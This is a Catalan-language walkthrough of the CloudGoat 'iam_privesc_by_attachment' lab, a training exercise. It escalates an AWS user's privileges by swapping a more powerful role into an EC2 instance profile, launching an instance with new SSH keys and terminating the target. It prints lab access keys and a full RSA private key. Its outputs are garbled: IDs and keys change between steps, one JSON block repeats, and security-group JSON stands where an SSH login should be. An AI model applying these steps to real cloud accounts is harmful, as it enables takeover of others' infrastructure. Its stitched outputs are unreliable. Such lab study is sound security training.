Escalada de privilegis utilitzant instance profiles

1. **Verificació de les credencials**

A l'iniciar el laboratori obtenim les credencials de **kerrigan**, les quals configurem amb la següent comanda:

```
aws configure --profile kerrigan
AWS Access Key ID [None]: AKIAZQ3DUOW4AXWLMO3W
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:
```

Confirmem que l'usuari ha estat ben configurat.

```
aws sts get-caller-identity --profile kerrigan
{
      {     "UserId": "AIDAZQ3DUOW4OQ6FJPSAI",     "Account": "654654600632",
"Arn": "arn:aws:iam::654654600632:user/kerrigan"}
}
```

2. **Investigació de les polítiques IAM associades**

Posteriorment, procedim a llistar els privilegis lligats a l'usuari.

```
aws iam list-attached-user-policies --user-name kerrrigan --profile kerrigan


An error occurred (AccessDenied) when calling the ListAttachedUserPolicies
operation: User: arn:aws:iam::654654600632:user/kerrigan is not authorized to
perform: iam:ListAttachedUserPolicies on resource: user kerrrigan because no
identity-based policy allows the iam:ListAttachedUserPolicies action
```

En fer-ho se'ns mostra un missatge d'error conforme no tenim els permisos necessaris per llistar els privilegis lligats al nostre compte.

De totes maneres, podem, fer ús de l'script enumerate-iam.py per veure quines són les accions que tenim associades.

https://github.com/andresriancho/enumerate-iam

```
python3 enumerate-iam.py --access-key AKIAZQ3DUOW4ACW2K7XD --secret-key
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 | grep info
2024-03-19 18:58:27,868 - 39788 - [INFO] Starting permission enumeration for
access-key-id "AKIAZQ3DUOW4ACW2K7XD"
2024-03-19 18:58:28,772 - 39788 - [INFO] -- Account ARN :
```

```
arn:aws:iam::654654600632:user/kerrigan
2024-03-19 18:58:28,772 - 39788 - [INFO] -- Account Id  : 654654600632
2024-03-19 18:58:28,773 - 39788 - [INFO] -- Account Path: user/kerrigan
2024-03-19 18:58:28,981 - 39788 - [INFO] Attempting common-service describe /
list brute force.
2024-03-19 18:58:30,076 - 39788 - [INFO] -- ec2.describe_vpcs() worked!
2024-03-19 18:58:30,746 - 39788 - [INFO] -- ec2.describe_subnets() worked!
2024-03-19 18:58:30,998 - 39788 - [INFO] -- ec2.describe_security_groups()
worked!
2024-03-19 18:58:31,189 - 39788 - [INFO] -- ec2.describe_instances() worked!
2024-03-19 18:58:31,537 - 39788 - [INFO] --
ec2.describe_iam_instance_profile_associations() worked!
2024-03-19 18:58:32,388 - 39788 - [INFO] -- dynamodb.describe_endpoints()
worked!
2024-03-19 18:58:36,225 - 39788 - [INFO] -- iam.list_roles() worked!
2024-03-19 18:58:36,406 - 39788 - [ERROR] Remove
codedeploy.batch_get_deployment_targets action
2024-03-19 18:58:36,448 - 39788 - [INFO] -- iam.list_instance_profiles()
worked!
2024-03-19 18:58:40,219 - 39788 - [INFO] -- sts.get_caller_identity() worked!
2024-03-19 18:58:40,334 - 39788 - [INFO] -- sts.get_session_token() worked!
```

Al rebre la sortida veiem que tenim permís per llistar rols, instàncies de perfil, obtenir informació sobre el perfil configurat i interactuar amb instàncies EC2.

Per tant, per els permisos que tenim associats, podem suposar que hi ha una o més instàncies EC2 existents i una instància de perfil associada a l'EC2, pel que podem provar a llistar quines instàncies EC2 hi han.

```
aws ec2 describe-instances --profile kerrigan
{
        "Reservations": [
        {
                "Groups": [],
                "Instances": [
                {
                        "AmiLaunchIndex": 0,
                        "ImageId": "ami-0a313d6098716f372",
                        "InstanceId": "i-04f7b62bec09a89b6",
                        "InstanceType": "t2.micro",
                        "LaunchTime": "2024-03-18T17:25:41+00:00",
                        "Monitoring": {
                                "State": "disabled"
                        },
                        "Placement": {
                                "AvailabilityZone": "us-east-1a",
```

```
                        "GroupName": "",
                        "Tenancy": "default"
                    },
                    "PrivateDnsName": "ip-10-0-10-151.ec2.internal",
                    "PrivateIpAddress": "10.0.10.151",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-3-84-234-140.compute-1.amazonaws.com",
                    "PublicIpAddress": "3.84.234.140",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": "",
                    "SubnetId": "subnet-01a0fdeca8b07daa0",
                    "VpcId": "vpc-09ed332a6683629ca",
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                        "DeviceName": "/dev/sda1",
                        "Ebs": {
                            "AttachTime": "2024-03-18T17:25:42+00:00",
                            "DeleteOnTermination": true,
                            "Status": "attached",
                            "VolumeId": "vol-07a8580d649123e74"
                        }
                        }
                    ],
                    "ClientToken": "terraform-20240318172540740500000005",
                    "EbsOptimized": false,
                    "EnaSupport": true,
                    "Hypervisor": "xen",
                    "NetworkInterfaces": [
                        {
                        "Association": {
                            "IpOwnerId": "amazon",
                            "PublicDnsName":
"ec2-3-84-234-140.compute-1.amazonaws.com",
                            "PublicIp": "3.84.234.140"
                        },
                        "Attachment": {
                            "AttachTime": "2024-03-18T17:25:41+00:00",
                            "AttachmentId":
"eni-attach-06efc5bd10ec1dfb1",
                            "DeleteOnTermination": true,
                            "DeviceIndex": 0,
                            "Status": "attached",
                            "NetworkCardIndex": 0
                        },
                        "Description": "",
                        "Groups": [
                            {
```

```
                                    "GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgidg4y5ty67zp",
                                    "GroupId": "sg-0af13486c32c92c31"
                                    },
                                    {
                                    "GroupName":
"cg-ec2-ssh-iam_privesc_by_attachment_cgidg4y5ty67zp",
                                    "GroupId": "sg-0053c76d9e4080749"
                                    }
                              ],
                              "Ipv6Addresses": [],
                              "MacAddress": "12:51:b5:48:98:ed",
                              "NetworkInterfaceId": "eni-08d2473ff7c676034",
                              "OwnerId": "654654600632",
                              "PrivateDnsName": "ip-10-0-10-151.ec2.internal",
                              "PrivateIpAddress": "10.0.10.151",
                              "PrivateIpAddresses": [
                                    {
                                    "Association": {
                                          "IpOwnerId": "amazon",
                                          "PublicDnsName":
"ec2-3-84-234-140.compute-1.amazonaws.com",
                                          "PublicIp": "3.84.234.140"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName":
"ip-10-0-10-151.ec2.internal",
                                    "PrivateIpAddress": "10.0.10.151"
                                    }
                              ],
                              "SourceDestCheck": true,
                              "Status": "in-use",
                              "SubnetId": "subnet-01a0fdeca8b07daa0",
                              "VpcId": "vpc-09ed332a6683629ca",
                              "InterfaceType": "interface"
                              }
                        ],
                        "RootDeviceName": "/dev/sda1",
                        "RootDeviceType": "ebs",
                        "SecurityGroups": [
                              {
                              "GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgidg4y5ty67zp",
                              "GroupId": "sg-0af13486c32c92c31"
                              },
                              {
                              "GroupName":
"cg-ec2-ssh-iam_privesc_by_attachment_cgidg4y5ty67zp",
                              "GroupId": "sg-0053c76d9e4080749"
                              }
                        ],
```

```
                    "SourceDestCheck": true,
                    "Tags": [
                          {
                          "Key": "Name",
                          "Value": "CloudGoat
iam_privesc_by_attachment_cgidg4y5ty67zp super-critical-security-server EC2
Instance"
                          },
                          {
                          "Key": "Scenario",
                          "Value": "iam-privesc-by-attachment"
                          },
                          {
                          "Key": "Stack",
                          "Value": "CloudGoat"
                          }
                    ],
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                          "CoreCount": 1,
                          "ThreadsPerCore": 1
                    },
                    "CapacityReservationSpecification": {
                          "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                          "Configured": false
                    },
                    "MetadataOptions": {
                          "State": "applied",
                          "HttpTokens": "optional",
                          "HttpPutResponseHopLimit": 1,
                          "HttpEndpoint": "enabled",
                          "HttpProtocolIpv6": "disabled",
                          "InstanceMetadataTags": "disabled"
                    },
                    "EnclaveOptions": {
                          "Enabled": false
                    },
                    "PlatformDetails": "Linux/UNIX",
                    "UsageOperation": "RunInstances",
                    "UsageOperationUpdateTime": "2024-03-18T17:25:41+00:00",
                    "PrivateDnsNameOptions": {
                          "HostnameType": "ip-name",
                          "EnableResourceNameDnsARecord": false,
                          "EnableResourceNameDnsAAAARecord": false
                    },
                    "MaintenanceOptions": {
                          "AutoRecovery": "default"
                    },
                    "CurrentInstanceBootMode": "legacy-bios"
```

```
            }
            ],
            "OwnerId": "654654600632",
            "ReservationId": "r-01159cb993925ca63"
      }
      ]
}
                        }
                  ],
                  "VirtualizationType": "hvm",
                  "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 1
                  },
                  "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                  },
                  "HibernationOptions": {
                        "Configured": false
                  },
                  "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 1,
                        "HttpEndpoint": "enabled",
                        "HttpProtocolIpv6": "disabled",
                        "InstanceMetadataTags": "disabled"
                  },
                  "EnclaveOptions": {
                        "Enabled": false
                  },
                  "PlatformDetails": "Linux/UNIX",
                  "UsageOperation": "RunInstances",
                  "UsageOperationUpdateTime": "2024-03-18T17:25:41+00:00",
                  "PrivateDnsNameOptions": {
                        "HostnameType": "ip-name",
                        "EnableResourceNameDnsARecord": false,
                        "EnableResourceNameDnsAAAARecord": false
                  },
                  "MaintenanceOptions": {
                        "AutoRecovery": "default"
                  },
                  "CurrentInstanceBootMode": "legacy-bios"
            }
            ],
            "OwnerId": "654654600632",
            "ReservationId": "r-01159cb993925ca63"
      }
      ]
}
```

A la sortida ens arriba que hi ha una instància EC2 al sistema i se'ns adjunta tota la seva informació relacionada. L'id de la instància és "i-04f7b62bec09a89b6" i té diferents identificadors associats a mode de Tags.

```
"Tags": [
      {
      "Key": "Name",
      "Value": "CloudGoat iam_privesc_by_attachment_cgidg4y5ty67zp
super-critical-security-server EC2 Instance"
      },
      {
      "Key": "Scenario",
      "Value": "iam-privesc-by-attachment"
      },
      {
      "Key": "Stack",
      "Value": "CloudGoat"
      }
],
```

Quan una instància EC2 es llança, aquesta pot ser lligada a un rol, la qual cosa li serveix per poder fer sol·licituds a altres recursos de la infraestructura, a aquest lligam se li anomena perfil d'instància. Com hem vist llistant els permisos, tenim la capacitat de llistar instàncies de perfil, el que ens fa sospitar que tenim una instància lligada a un rol.

```
aws iam list-instance-profiles --profile kerrigan
{
      "InstanceProfiles": [
      {
            "Path": "/",
            "InstanceProfileName":
"cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidg4y5ty67zp",
            "InstanceProfileId": "AIPAZQ3DUOW4DNZLPYZKY",
            "Arn":
"arn:aws:iam::654654600632:instance-profile/cg-ec2-meek-instance-profile-iam_pr
ivesc_by_attachment_cgidg4y5ty67zp",
            "CreateDate": "2024-03-18T17:25:16+00:00",
            "Roles": [
            {
                  "Path": "/",
                  "RoleName":
"cg-ec2-meek-role-iam_privesc_by_attachment_cgidg4y5ty67zp",
                  "RoleId": "AROAZQ3DUOW4I73GFUVEX",
                  "Arn":
"arn:aws:iam::654654600632:role/cg-ec2-meek-role-iam_privesc_by_attachment_cgid
g4y5ty67zp",
                  "CreateDate": "2024-03-18T17:25:15+00:00",
```

```
                    "AssumeRolePolicyDocument": {
                          "Version": "2012-10-17",
                          "Statement": [
                          {
                                "Effect": "Allow",
                                "Principal": {
                                "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                          }
                          ]
                    }
              }
              ]
      }
      ]
}
```

A la sortida observem que efectivament hi ha una instància d'EC2 identificada amb el nom **cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidg4y5ty67zp** i l'id **AIPAZQ3DUOW4DNZLPYZKY** associada a un rol amb el nom **cg-ec2-meek-role-iam_privesc_by_attachment_cgidg4y5ty67zp** i l'id **AROAZQ3DUOW4I73GFUVEX**.

Ja que també tenim privilegis per llistar els rols de la infraestructura, verificarem si podem veure el rol relacionat amb la instància d'EC2 trobada.

```
aws iam list-roles --profile kerrigan
      },
      {
            "Path": "/",
            "RoleName":
"cg-ec2-meek-role-iam_privesc_by_attachment_cgidg4y5ty67zp",
            "RoleId": "AROAZQ3DUOW4I73GFUVEX",
            "Arn":
"arn:aws:iam::654654600632:role/cg-ec2-meek-role-iam_privesc_by_attachment_cgid
g4y5ty67zp",
            "CreateDate": "2024-03-18T17:25:15+00:00",
            "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                  {
                        "Effect": "Allow",
                        "Principal": {
                        "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                  }
```

```
            ]
            },
            "MaxSessionDuration": 3600
      },
      {
            "Path": "/",
            "RoleName":
"cg-ec2-mighty-role-iam_privesc_by_attachment_cgidg4y5ty67zp",
            "RoleId": "AROAZQ3DUOW4CLHFQR2IK",
            "Arn":
"arn:aws:iam::654654600632:role/cg-ec2-mighty-role-iam_privesc_by_attachment_cg
idg4y5ty67zp",
            "CreateDate": "2024-03-18T17:25:15+00:00",
            "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                  {
                        "Effect": "Allow",
                        "Principal": {
                        "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                  }
            ]
            },
            "MaxSessionDuration": 3600
      }
      ]
}
```


Després de llistar els rols descobrim que hi ha dos rols diferents *cg-ec2-meek-role-iam_privesc_by_attachment_cgidg4y5ty67zp* i *cg-ec2-mighty-role-iam_privesc_by_attachment_cgidg4y5ty67zp*.

Si ens fixem, el primer rol llistat és el rol lligat a la instància EC2.

Una de les maneres que tenim per seguir amb l'escalada de privilegis és intentar esborrar la instància de perfil actual i crear un de nou per un rol diferent amb més privilegis.
Per fer-ho necessitem tenir accés a les polítiques **iam:RemoveRoleFromInstanceProfile** i **iam:CreateRoleFromInstanceProfile** que no hem aconseguit llistar amb la nostra eina automàtica. Amb tot i això, intentarem executar les comandes relacionades amb aquests permisos, ja que pot ser que no s'hagin reportat perquè l'eina no ha estat capa<c de trobar-les

Per consegüent, eliminem el rol que està associat a la instància EC2 actualment que suposem que és el de menys privilegis.

```
aws iam remove-role-from-instance-profile  --instance-profile-name
cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidb34d50hcr4
--role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgidb34d50hcr4 --region
us-east-1 --profile kerrigan
```

Després d'eliminar-lo, afegim l'únic altre rol conegut dins de l'entorn, presumint que tindrà uns privilegis més elevats.

```
aws iam add-role-to-instance-profile --instance-profile-name
cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidb34d50hcr4
--role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidb34d50hcr4
--profile kerrigan
```

Després d'executar aquesta comanda els privilegis que utilitzar la instància EC2 per accedir als recursos externs són els de *cg-ec2-mighty-role-iam_privesc_by_attachment_cgidb34d50hcr4* que és un rol amb uns privilegis superiors al seu predecessor.

Utilitzant aquests nous privilegis podem intentar crear un nou parell de claus per, posteriorment, crear una nova instància d'EC2.

```
aws ec2 create-key-pair --key-name newkeys --profile kerrigan --query
'KeyMaterial' --output text > newkeys.pem
```

A l'arxiu newkeys.pem es guardrà la nova clau d'accés ssh creada.

```
cat newkeys.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAjhHEwnDQn3ZYXQpnYpG5QXoP7qPNcS1magqroFtg/yQORbIL
dZyS7Kqsdp2bOcrToNmKGOaGXyAP4KwabP7d0nxvkl4Gx8s2rjmmhUzNvselAIw5
fjSJW7zTAYM21vnHQglLNqLMCrMb/nMM0BuQ+GUzDsjypsi5BVXRPz5F817ImbVd
HWEH7fshh1k/mWhcmLBUofZYbTn3dU2tD8NkcW4wf/YdhTkU8dFgX9rFCOtndtvb
YV16uGZWD0LE3erTSGoGGB4sIGBgqNiFCsg7Lt9EPxqwmxaqC7s8WDw73ditp0d/
+0kwsGByzTGrFWr9D39woGkRQGSPOE4lG/wp8QIDAQABAoIBAEXUDfXUJXZ7YKs6
dd5I6dl4+WO+NzgtrGzqmbjTsTU2r50qCd/g+YZBzUrv5F/fhW1F/06F3/3ZcHRp
owN3sefHKb+zX3nMNDAmPea+/VGMJ1nBknCpuenRQZU4vTekxX97ufA8zDVmG5hR
TDbtla/BbfsSYdIATpCEwbhoD1GyxIUVZm8B/PjVlD1nf7G2n2ngq3X9XRZm8G9p
9oxD1r5b20A5djjIrsqY1P2RO+hjjyRZu/Sc2uwkY4/qBG3otvedSSggvjafTW5u
63SjQ+Oio8VCasf99P9J2UX1/+xfEgVubk57gLrG+9ZVPDlOG+MHPeYHX22iUfDm
GFpUwMECgYEA0JADpwwaXeBex751MCMNVH271y5i2WfzrmX5+iJ/DJVIf7/mB/gN
z5drDkVPlOEAks1jZeHzBTfqRpaKj54rxuAvoLEHlCjm665g+RZZ7bmdx3mSAzZY
P5f+4qojrnmI4cEOaSua173XYxP9JtJqNQ96z/84MsTEUgn1jTogq/UCgYEArmIN
roe4T7+02hAiCn5ZHYcBrAiZKXop+GQ3pSTxaZzdnG+parKHv+gu8mYGnVbwJK02
+Gtp9D0AToHtCgw9Bdsc69QsowjRxHhJX5yzyj16JAxX4VmclYROpAFTidgpBrSo
5P1xgkFoO+Z298vGNzjdS+6/Nd0sdyOqH4YzJI0CgYB5cTI/RePgf/KQmo1AP1jW
tvP2w1LZxxb0mPqrNQUHvbFeec4nG8Bm/YNf5uoFBdNAqAnV3HCWvE1VVvlN0Usq
```

```
XYY+KncARaTY3UwoHmS08R03dsmXx0Axn37SW0G1qZ0T30dV5Acg0rElRxFkVqdz
SBU6IiGGJl8uahAqcQtvNQKBgCrIldC/LaIrR6TEloV6kESlTey2Q1WgylFNzTUw
RiaCPQDXiHpMCPA1d+cyzualYM+uy7DRMbKhkMSyLcTsUcBxDLxzVuw9CrIoTOAv
YxD4WlIj0R/Ry5AHYP/t71//b7lcc5+S6tlpULh5h7CuBxifU/QARFtjwzgLwP5w
/3U1AoGAdH95AU+6/PmDxCVdL4nuqoiAdAVpiahXTb8WPoS/vouCgidaxnnMWFx5
tz+xc0LZkfOrjVeWUx77jlDERpm1SiyOCPT1LiI3TwtfXfxFrAgxPptsIN45InSM
4YSyvGQ/SVm7lfGAoCtSm4Ao5PpehAMnr5pnj1d9dnPJGXsW1Xw=
-----END RSA PRIVATE KEY-----
```

Continuant, el nostre objectiu és poder crear una instància EC2 on tinguem control total. Per crear aquesta instància es cal poder associar-li un grup de seguretat i una subxarxa.

```
aws ec2 describe-subnets --profile kerrigan --region us-east-1

{
	"Subnets": [
	{
		"AvailabilityZone": "us-east-1a",
		"AvailabilityZoneId": "use1-az2",
		"AvailableIpAddressCount": 250,
		"CidrBlock": "10.0.10.0/24",
		"DefaultForAz": false,
		"MapPublicIpOnLaunch": true,
		"MapCustomerOwnedIpOnLaunch": false,
		"State": "available",
		"SubnetId": "subnet-04bd1e52b5fe866ef",
		"VpcId": "vpc-0b2e0a90a9168ea01",
		"OwnerId": "654654600632",
		"AssignIpv6AddressOnCreation": false,
		"Ipv6CidrBlockAssociationSet": [],
		"Tags": [
		{
			"Key": "Name",
			"Value": "CloudGoat iam_privesc_by_attachment_cgid3toql3jork
Public Subnet"
		},
		{
			"Key": "Stack",
			"Value": "CloudGoat"
		},
		{
			"Key": "Scenario",
			"Value": "iam-privesc-by-attachment"
		}
		],
		"SubnetArn":
"arn:aws:ec2:us-east-1:654654600632:subnet/subnet-04bd1e52b5fe866ef",
		"EnableDns64": false,
```

```
            "Ipv6Native": false,
            "PrivateDnsNameOptionsOnLaunch": {
            "HostnameType": "ip-name",
            "EnableResourceNameDnsARecord": false,
            "EnableResourceNameDnsAAAARecord": false
            }
      },
      ]
}
```

I també llistem els grups de seguretat, ja que haurem d'associar un a la instància creada.

```
aws ec2 describe-security-groups --profile kerrigan
{
	"SecurityGroups": [
	{
		"Description": "CloudGoat iam_privesc_by_attachment_cgid3toql3jork
Security Group for EC2 Instance over HTTP",
		"GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork",
		"IpPermissions": [
		{
			"FromPort": 80,
			"IpProtocol": "tcp",
			"IpRanges": [
				{
				"CidrIp": "79.159.21.140/32"
				}
			],
			"Ipv6Ranges": [],
			"PrefixListIds": [],
			"ToPort": 80,
			"UserIdGroupPairs": []
		},
		{
			"FromPort": 443,
			"IpProtocol": "tcp",
			"IpRanges": [
				{
				"CidrIp": "79.159.21.140/32"
				}
			],
			"Ipv6Ranges": [],
			"PrefixListIds": [],
			"ToPort": 443,
			"UserIdGroupPairs": []
		}
		],
		"OwnerId": "654654600632",
		"GroupId": "sg-05e294b9542de7d11",
		"IpPermissionsEgress": [
		{
			"IpProtocol": "-1",
			"IpRanges": [
				{
				"CidrIp": "0.0.0.0/0"
				}
			],
			"Ipv6Ranges": [],
			"PrefixListIds": [],
			"UserIdGroupPairs": []
		}
		],
```

```
            "Tags": [
            {
                  "Key": "Name",
                  "Value":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork"
            },
            {
                  "Key": "Scenario",
                  "Value": "iam-privesc-by-attachment"
            },
            {
                  "Key": "Stack",
                  "Value": "CloudGoat"
            }
            ],
            "VpcId": "vpc-0b2e0a90a9168ea01"
      }
      ]
}
```

D'aquesta manera ja tenim la informació propia de l'entorn que necessitem per crear la instància. La resta de característiques escollides sobre l'EC2 que es crearà es poden escollir de manera arbitrària.

Per consegüent, procedim a crear la instància d'EC2.

```
aws ec2 run-instances --image-id ami-0a313d6098716f372 --count 1
--iam-instance-profile
Arn=arn:aws:iam::654654600632:instance-profile/cg-ec2-meek-instance-profile-iam
_privesc_by_attachment_cgid3toql3jork --instance-type t2.micro --key-name
newkeys --subnet-id subnet-04bd1e52b5fe866ef  --security-group-ids
sg-05e294b9542de7d11 --profile kerrigan

{
	"Groups": [],
	"Instances": [
	{
		"AmiLaunchIndex": 0,
		"ImageId": "ami-0a313d6098716f372",
		"InstanceId": "i-07983a777acd067af",
		"InstanceType": "t2.micro",
		"KeyName": "newkeys",
		"LaunchTime": "2024-03-20T18:38:05.000Z",
		"Monitoring": {
		"State": "disabled"
		},
		"Placement": {
		"AvailabilityZone": "us-east-1a",
		"GroupName": "",
		"Tenancy": "default"
		},
		"PrivateDnsName": "ip-10-0-10-56.ec2.internal",
		"PrivateIpAddress": "10.0.10.56",
		"ProductCodes": [],
		"PublicDnsName": "",
		"State": {
		"Code": 0,
		"Name": "pending"
		},
		"StateTransitionReason": "",
		"SubnetId": "subnet-04bd1e52b5fe866ef",
		"VpcId": "vpc-0b2e0a90a9168ea01",
		"Architecture": "x86_64",
		"BlockDeviceMappings": [],
		"ClientToken": "cb1d0392-3a33-4984-8c62-2d8812e7dd2f",
		"EbsOptimized": false,
		"EnaSupport": true,
		"Hypervisor": "xen",
		"IamInstanceProfile": {
		"Arn":
"arn:aws:iam::654654600632:instance-profile/cg-ec2-meek-instance-profile-iam_pr
ivesc_by_attachment_cgid3toql3jork",
		"Id": "AIPAZQ3DUOW4LNKBOXBIJ"
		},
		"NetworkInterfaces": [
		{
			"Attachment": {
```

```
                        "AttachTime": "2024-03-20T18:38:05.000Z",
                        "AttachmentId": "eni-attach-0e4c01134d5fc307a",
                        "DeleteOnTermination": true,
                        "DeviceIndex": 0,
                        "Status": "attaching",
                        "NetworkCardIndex": 0
                    },
                    "Description": "",
                    "Groups": [
                        {
                        "GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork",
                        "GroupId": "sg-05e294b9542de7d11"
                        }
                    ],
                    "Ipv6Addresses": [],
                    "MacAddress": "12:ae:d0:a6:6d:ed",
                    "NetworkInterfaceId": "eni-00fb5010a64607879",
                    "OwnerId": "654654600632",
                    "PrivateDnsName": "ip-10-0-10-56.ec2.internal",
                    "PrivateIpAddress": "10.0.10.56",
                    "PrivateIpAddresses": [
                        {
                        "Primary": true,
                        "PrivateDnsName": "ip-10-0-10-56.ec2.internal",
                        "PrivateIpAddress": "10.0.10.56"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Status": "in-use",
                    "SubnetId": "subnet-04bd1e52b5fe866ef",
                    "VpcId": "vpc-0b2e0a90a9168ea01",
                    "InterfaceType": "interface"
                }
                ],
                "RootDeviceName": "/dev/sda1",
                "RootDeviceType": "ebs",
                "SecurityGroups": [
                {
                        "GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork",
                        "GroupId": "sg-05e294b9542de7d11"
                }
                ],
                "SourceDestCheck": true,
                "StateReason": {
                "Code": "pending",
                "Message": "pending"
                },
                "VirtualizationType": "hvm",
                "CpuOptions": {
```

```
            "CoreCount": 1,
            "ThreadsPerCore": 1
            },
            "CapacityReservationSpecification": {
            "CapacityReservationPreference": "open"
            },
            "MetadataOptions": {
            "State": "pending",
            "HttpTokens": "optional",
            "HttpPutResponseHopLimit": 1,
            "HttpEndpoint": "enabled",
            "HttpProtocolIpv6": "disabled",
            "InstanceMetadataTags": "disabled"
            },
            "EnclaveOptions": {
            "Enabled": false
            },
            "PrivateDnsNameOptions": {
            "HostnameType": "ip-name",
            "EnableResourceNameDnsARecord": false,
            "EnableResourceNameDnsAAAARecord": false
            },
            "MaintenanceOptions": {
            "AutoRecovery": "default"
            },
            "CurrentInstanceBootMode": "legacy-bios"
      }
      ],
      "OwnerId": "654654600632",
      "ReservationId": "r-0f237d1aeb2c5d6c3"
}
```

Ara ja tenim creada la instància d'EC2 per la que hem creat les claus, així que intentem accedir amb aquestes.
Per connectarnos podem utilitzar una conexió ssh amb la clau pem com a mètode de registre. Per referir-nos a la màquina hem d'utilitzar la seva adreça IP pública.

La IP pública la podem obtenir si llistem les instàncies de l'entorn i revisem el camp Public IP.

```
 aws ec2 describe-instances --profile kerrigan
{
      ...
                  "NetworkInterfaces": [
                        {
                        "Association": {
                              "IpOwnerId": "amazon",
                              "PublicDnsName":
```

```
"ec2-54-210-13-54.compute-1.amazonaws.com",
                                "PublicIp": "54.210.13.54"
                            },
    ...
```

Ara si, ja podem realitzar la connexió per ssh.

```
ssh -i newkeys.pem ubuntu@54.210.13.54
{
       "SecurityGroups": [
       {
              "Description": "CloudGoat iam_privesc_by_attachment_cgid3toql3jork
Security Group for EC2 Instance over HTTP",
              "GroupName":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork",
              "IpPermissions": [
              {
                     "FromPort": 80,
                     "IpProtocol": "tcp",
                     "IpRanges": [
                            {
                            "CidrIp": "79.159.21.140/32"
                            }
                     ],
                     "Ipv6Ranges": [],
                     "PrefixListIds": [],
                     "ToPort": 80,
                     "UserIdGroupPairs": []
              },
              {
                     "FromPort": 443,
                     "IpProtocol": "tcp",
                     "IpRanges": [
                            {
                            "CidrIp": "79.159.21.140/32"
                            }
                     ],
                     "Ipv6Ranges": [],
                     "PrefixListIds": [],
                     "ToPort": 443,
                     "UserIdGroupPairs": []
              }
              ],
              "OwnerId": "654654600632",
              "GroupId": "sg-05e294b9542de7d11",
              "IpPermissionsEgress": [
              {
                     "IpProtocol": "-1",
                     "IpRanges": [
                            {
                            "CidrIp": "0.0.0.0/0"
                            }
                     ],
                     "Ipv6Ranges": [],
                     "PrefixListIds": [],
                     "UserIdGroupPairs": []
              }
              ],
```

```
            "Tags": [
            {
                  "Key": "Name",
                  "Value":
"cg-ec2-http-iam_privesc_by_attachment_cgid3toql3jork"
            },
            {
                  "Key": "Scenario",
                  "Value": "iam-privesc-by-attachment"
            },
            {
                  "Key": "Stack",
                  "Value": "CloudGoat"
            }
            ],
            "VpcId": "vpc-0b2e0a90a9168ea01"
      }
      ]
}
```

Finalment, dins d'aquest entorn, l'acció amb més rellevància que podem executar és terminar la instància original d'EC2.
Primer necessitem instal·lar la CLI dins de la nova màquina virtual per després terminar la instància.

```
sudo apt install awscli
```

```
aws ec2 terminate-instances --instance-ids i-0064345de3f005c7a --region
us-east-1
```